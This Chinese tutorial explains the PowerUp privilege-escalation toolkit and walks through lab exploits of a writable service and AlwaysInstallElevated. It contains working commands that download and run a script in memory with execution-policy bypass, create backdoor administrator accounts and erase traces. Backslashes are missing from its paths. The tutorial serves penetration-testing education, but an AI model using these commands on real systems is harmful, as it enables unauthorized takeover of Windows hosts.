0×01. Powerup简介

Powerup是本地特权提升的一些调用方法,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权,也是 PowerShell Empire和PowerSploit 的一部分。

通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权;或者通过常见的系统服务,通过其继承的系统权限来完成提权等等,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

首先我们来看下Powerup下都有哪些模块,如下图所示。

输入可以通过tab键来自动补全,如果要查看各个模块的详细说明,可以使用" Get-help [cmdlet] -full "来查看,比如" Get-Help Invoke-AllChecks -full ",如下图所示。

模块介绍:

1.Invoke-AllChecks

执行所有的脚本来检查。

执行方式:

PS C:> Invoke-AllChecks

2.Find-PathDLLHijack

检查当前%PATH%是否存在哪些目录是当前用户可以写入的。

执行方式:

PS C:>Find-Pathdllhijack

3.Get-ApplicationHost

从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。

执行方式:

PS C:>get-ApplicationHost
PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示

4.Get-RegistryAlwaysInstallElevated

检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。

执行方式:

PS C:>Get-RegistryAlwaysInstallElevated

5.Get-RegistryAutoLogon

检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。

执行方式:

PS C:> Get-RegistryAutoLogon

6.Get-ServiceDetail

返回某服务的信息。

执行方式:

PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息

7.Get-ServiceFilePermission

检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。

执行方式:

C:> Get-ServiceFilePermission

8.Test-ServiceDaclPermission

检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。

执行方式:

PS C:>Test-ServiceDaclPermission

9.Get-ServiceUnquoted

检查服务路径,返回包含空格但是不带引号的服务路径。

此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。

比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe

执行方式:

PS C:>Get-ServiceUnquoted

10.Get-UnattendedInstallFile

检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:

c:sysprepsysprep.xml
c:sysprepsysprep.inf
c:sysprep.inf
c:windowsPantherUnattended.xml
c:windowsPantherUnattendUnattended.xml
c:windowsPantherUnattend.xml
c:windowsPantherUnattendUnattend.xml
c:windowsSystem32Sysprepunattend.xml
c:windowsSystem32SysprepPantherunattend.xml

执行方式:

PS C:> Get-UnattendedInstallFile

11.Get-ModifiableRegistryAutoRun

检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。

注册表检查的键值为:

HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnce
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRun
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnce
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunService
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceService
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunService
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnceService

执行方式:

PS C:>Get-ModifiableRegistryAutoRun

12.Get-ModifiableScheduledTaskFile

返回当前用户能够修改的计划任务程序的名称和路径。

执行方式:

PS C:>Get-ModifiableScheduledTaskFile

13.Get-Webconfig

返回当前服务器上的web.config文件中的数据库连接字符串的明文。

执行方式:

PS C:>get-webconfig

14.Invoke-ServiceAbuse

用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。

执行方式:

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令

15.Restore-ServiceBinary

恢复服务的可执行文件到原始目录。

执行方式:

PS C:> Restore-ServiceBinary -ServiceName VulnSVC

16.Test-ServiceDaclPermission

检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。

执行方式:

PS C:> Restore-ServiceBinary -ServiceName VulnSVC

17.Write-HijackDll

输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。

18.Write-UserAddMSI

生成一个安装文件,运行这个安装文件,则弹出添加用户的框。

执行方式:

PS C:> Write-UserAddMSI

19.Write-ServiceBinary

预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。

执行方式:

PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组
PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令

20.Install-ServiceBinary

通过Write-ServiceBinary写一个C#的服务用来添加用户。

执行方式:

PSC:> Install-ServiceBinary -ServiceName DHCP
PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."

Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。

0×02.使用module渗透实例

模块很多不能一一介绍,有针对性的介绍几个常用模块的实战应用。

1.  Invoke-AllChecks,Install-ServiceBinary,Get-ServiceUnquoted,Test-ServiceDaclPermission,Restore-ServiceBinary

先加载Powerup脚本,然后执行Invoke-AllChecks,脚本将会进行所有的检查。

使用IEX下载在内存中加载此脚本,执行如下命令,脚本将会进行所有的检查,如下图所示。

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('http://192.168.31.247/PowerUp.ps1');Invoke-AllChecks”

温习下知识点:

-NoProfile(-NoP):PowerShell控制台不加载当前用户的配置

-Exec Bypass:绕过执行安全策略

Import-Module:加载脚本

也可以另一种方法,将Powerup脚本上传至目标服务器,再使用本地执行该脚本。见下图所示。

上传好脚本后,输入shell命令进入CMD提示符下,在CMD环境下,使用本地隐藏权限绕过执行该脚本,见下图所示。

powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"

可以看出,Powerup列出了可能存在问题的所有服务,并在AbuseFunction中直接给出了利用方式。第一部分通过Get-ServiceUnquoted模块(利用windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升)检测出了有“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四个服务存在此逻辑漏洞,但是都没有写入权限,所以并不能被我们利用来提权。第二部分通过Test-ServiceDaclPermission模块(检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则存在此漏洞)检测出当前用户可以在“OmniServers”服务的目录写入相关联的可执行文件,并且通过这些文件来进行提权。

漏洞利用原理:Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。

这里我们可以使用icacls(Windows内建的一个工具,用来检查对有漏洞目录是否有写入的权限)来验证下PowerUp脚本检测是否正确,我们先来测试“C:Program FilesExecutable.exe”、“C:Program FilesCommon Filesmicrosoft sharedOmniServ.exe”、“C:Program FilesCommon FilesA SubfolderOmniServer.exe”这三个文件夹,均提示权限不够。如下图所示。

再测试“C:Program FilesProgram FolderA SubfolderOmniServers.exe”文件,如下图所示。

“Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。

参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。

在这里我们使用AbuseFunction那里已经给出的具体操作方式,执行如下命令操作,如下图所示。

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Install-ServiceBinary -ServiceName 'OmniServers'-UserName shuteer -Password Password123!

知识点:

Install-ServiceBinary模块,通过Write-ServiceBinary写一个C#的服务用来添加用户。

之后当管理员运行该服务的时候,则会添加我们的账号。现在我们手动停止该服务并再启动该服务,就会添加我们的用户,如下图所示。

可以看到,提示拒绝访问,那是因为我们当前的权限是一个受限的USER权限,所以只能等待管理员运行该服务或者系统重启。这里因为是虚拟机机,所以直接使用如下命令强制重启,如下图所示。

Shutdown –r –f –t 0

我们切换到目标机界面可以看到已经关机重启了,如下图所示。

重启以后,系统会自动创建了一个新的用户shuteer,密码是Password123!。如下图所示。

我们来查看下该用户权限,该用户已经是系统管理员。如下图所示。

提权成功以后,我们到目标机C:Program FilesProgram FolderA Subfolder目录下面可以看到多了一个文件,如下图所示。

提权成功以后我们需要清除入侵的痕迹,把所有的状态恢复到最初的状态,可以使用如下命令恢复。

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Restore-ServiceBinary -ServiceName

'OmniServers'

l  恢复‘C:Program FilesProgram FolderA SubfolderOmniServers.exe.bak’为’C:Program FilesProgram FolderA SubfolderOmniServers.exe’

l  移除备份二进制文件‘C:Program FilesProgram FolderA SubfolderOmniServers.exe.bak’

2. Get-RegistryAlwaysInstallElevated,Write-UserAddMSI

使用Powerup的Get-RegistryAlwaysInstallElevated模块来检查注册表项是否被设置,如果AlwaysInstallElevated注册表项被设置,意味着的MSI文件是以system权限运行的。命令如下,True表示已经设置,如下图所示。

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1'); Get-RegistryAlwaysInstallElevated

接着添加用户,运行Write-UserAddMSI模块,运行后生成文件UserAdd.msi,如下图所示。

这时以普通用户权限运行这个UserAdd.msi,就会成功添加账户,如下图所示。

我们在查看下管理员组的成员,可以看到已经成功在普通权限的CMD下添加了一个管理员账户。如下图所示。

漏洞利用原理:该漏洞产生的原因是因为用户开启了windows installer特权安装功能,设置的方法如下图所示:

打开组策略编辑器(运行框中输入gpedit.msc)

A.组策略-计算机配置—管理模版—Windows组件—Windows Installer—永远以高特权进行安装:选择启用

B.组策略-用户配置—管理模版-Windows组件—Windows Installer-永远以高特权进行安装:选择启用

设置完毕之后,会在两个注册表如下位置自动创建键值为”1″。

[HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001

防护:对照利用方法进行防御,只要关闭AlwaysInstallElevated,即可阻止通过msi文件的提权利用。

PowerShell工具之Powerup详解实录相关推荐

  1. php把proto解析为文档,Protobuf 文件生成工具 Prototool 命令详解

    Protobuf 文件生成工具 Prototool 命令详解 简介 Prototool 是 Protobuf 文件的生成工具, 目前支持go, php, java, c#, object c 五种语言 ...

  2. 2021-02-07 接口测试工具-Postman使用详解

    接口测试工具-Postman使用详解 1.安装postman 官网下载地址:https://www.postman.com/downloads/ 选择好对应的版本下载,下载完后直接安装即可. 2.po ...

  3. 可视化数据库管理工具DataGrip使用详解

    参考链接:https://www.hangge.com/blog/cache/detail_2829.html 日常开发中少不了各种可视化数据库管理工具.如果需要同时能连接多种数据库,大家肯定都会想到 ...

  4. redis cluster管理工具redis-trib.rb详解

    redis cluster管理工具redis-trib.rb详解 redis-trib.rb是redis官方推出的管理redis集群的工具,集成在redis的源码src目录下,是基于redis提供的集 ...

  5. sqlmap工具使用用法详解

    2019独角兽企业重金招聘Python工程师标准>>> sqlmap工具使用用法详解 QLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的 ...

  6. swagger文档增强工具knife4j使用详解

    本文从本人博客搬运,原文格式更加美观,可以移步原文阅读:swagger文档增强工具knife4j使用详解 使用原生的swagger作为接口文档,功能不够强大,并且默认的ui比较简陋,不符合大众审美.所 ...

  7. 第二篇supervisor集群管理工具cesi安装详解-如何安装supervisor-cesiwebUI

    第二篇supervisor集群管理工具cesi安装详解-如何安装supervisor-cesiwebUI 介绍 安装 解压 安装依赖 修改配置 注册为系统服务 启动 登录一下,发现报错了 解决方法 介 ...

  8. 第一篇supervisor集群管理工具cesi安装详解-如何安装supervisor

    第一篇supervisor集群管理工具cesi安装详解-如何安装supervisor 环境 准备 安装python3.7.4 问题 解决方法 安装supervisor 配置supervisor服务 启 ...

  9. 黑苹果引导工具 Clover 配置详解及Clover Configurator使用

    黑苹果引导工具 Clover 配置详解及Clover Configurator使用 2017-03-11 14:01:40 by SemiconductorKING 转自:@三个表哥 简介: 可引导m ...

最新文章

  1. webstorm设置点击(单击)左侧项目资源管理器里面的文件,自动在右侧打开源代码文件
  2. python基础知识整理-python爬虫基础知识点整理
  3. Java常量池的大概理解
  4. 一看就懂的感知机算法PLA
  5. 【译】表变量和临时表的比较
  6. 13点建议顺利通过JAVA面试【转载】
  7. 【DP】Rotating Substrings(CF1363F)
  8. 智能视屏会议系统(19)---开源视频会议SIP协议栈
  9. Use Amazon VM to try Openstack (1) (with DevStack)
  10. [COCI2009]Dvapravca
  11. Linux文件系统管理
  12. 华为软件开发云又出新服务:开源镜像站正式上线,致敬开源,使能开发者!
  13. idea导出jar包
  14. cad导出pdf_手机如何一键分享CAD图纸?(差点成了背锅大侠)
  15. center os 安装 mysql_MySQL数据库之center os 7 Mysql 安装
  16. 青果教务系统php源码,使用PHP 的 curl 爬取 青果教務系統 課表
  17. combo box使用
  18. 四点之间最短路(spfa+优先队列+枚举优化)UESTC1955喜马拉雅山上的猴子
  19. 【工作】引用文献(医学文献注意事项)
  20. 互联网人出游必备清单

热门文章

  1. IDEA中内容辅助键和快捷键
  2. 第 1 章 策略模式
  3. 点云处理工具——pclpy安装
  4. 【某易Y盾】点选验证码第一波识别
  5. 大一暑期实习day2
  6. 计算机网络技术数字地球,“数字地球”是指把整个地球信息进行数字化后,由计算机网络来管理的技...
  7. ACL 2022 | 腾讯AI Lab入选20篇论文:写作助手和交互翻译背后的技术创新
  8. C学习笔记-字符串处理函数
  9. 蜂鸟视图信息采集小程序上线,从此室内地图数据采集更新不再难!
  10. 厚膜电阻和合金电阻的区别都有哪些?快来看看吧